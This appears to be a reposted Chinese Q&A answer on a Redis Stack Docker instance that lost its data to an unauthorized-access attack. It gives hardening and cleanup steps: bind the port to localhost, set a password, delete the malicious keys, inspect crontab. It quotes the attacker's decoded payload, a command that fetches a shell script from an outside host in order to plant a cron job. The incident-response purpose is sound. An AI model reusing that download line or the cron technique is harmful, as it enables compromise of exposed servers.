Redis Stack Docker镜像数据自动删除,生成异常备份键问题求助
问题根源与解决方案
核心问题
你的Redis Stack实例遭遇了未授权访问攻击:攻击者通过无密码验证的Redis连接,主动清空所有数据,并创建了包含恶意bash脚本指令的backup*键。这些键的内容解码后是cd1 http://s.na-cs.com/b2f628/b.sh,用于植入定时任务执行恶意操作。
你之前尝试的禁用持久化、调大内存等操作无法解决问题——数据被删除是攻击者主动执行命令导致的,和Redis自身的持久化策略、内存限制无关。
紧急修复步骤
立即阻断攻击入口
- 修改Docker启动命令,将Redis端口绑定到本地回环地址,禁止公网直接访问:
docker run -d -p 127.0.0.1:6379:6379 redis/redis-stack-server - 给Redis设置强密码,启动时添加
--requirepass参数:
同步更新Node.js代码的Redis连接配置(以ioredis为例):docker run -d -p 127.0.0.1:6379:6379 redis/redis-stack-server --requirepass YourStrongPassword123!const Redis = require('ioredis'); const redis = new Redis({ host: 'localhost', port: 6379, password: 'YourStrongPassword123!' });
- 修改Docker启动命令,将Redis端口绑定到本地回环地址,禁止公网直接访问:
清除恶意残留
- 进入Redis-cli删除恶意键:
redis-cli DEL backup1 backup2 backup3 backup4 - 检查服务器定时任务,删除攻击者添加的恶意条目:
crontab -l # 查看当前定时任务 crontab -e # 编辑并删除可疑的定时任务行 - 排查
/tmp、/var/tmp等目录,删除攻击者下载的恶意脚本文件。
- 进入Redis-cli删除恶意键:
加固Redis配置
- 确保Redis保护模式开启(默认开启,若关闭需在配置中设置
protected-mode yes) - 修改Redis默认端口(如改为6380),降低被批量扫描的概率
- 避免以root用户运行Redis容器,创建专用用户减少攻击影响范围
- 确保Redis保护模式开启(默认开启,若关闭需在配置中设置
恢复数据
- 若有合法数据备份,在Redis安全配置完成后导入恢复;若无备份,需重新通过Node.js定时任务生成数据(确保Redis已加固后再执行)。
内容的提问来源于stack exchange,提问作者Pooja Seethur
相关产品推荐
相关产品推荐

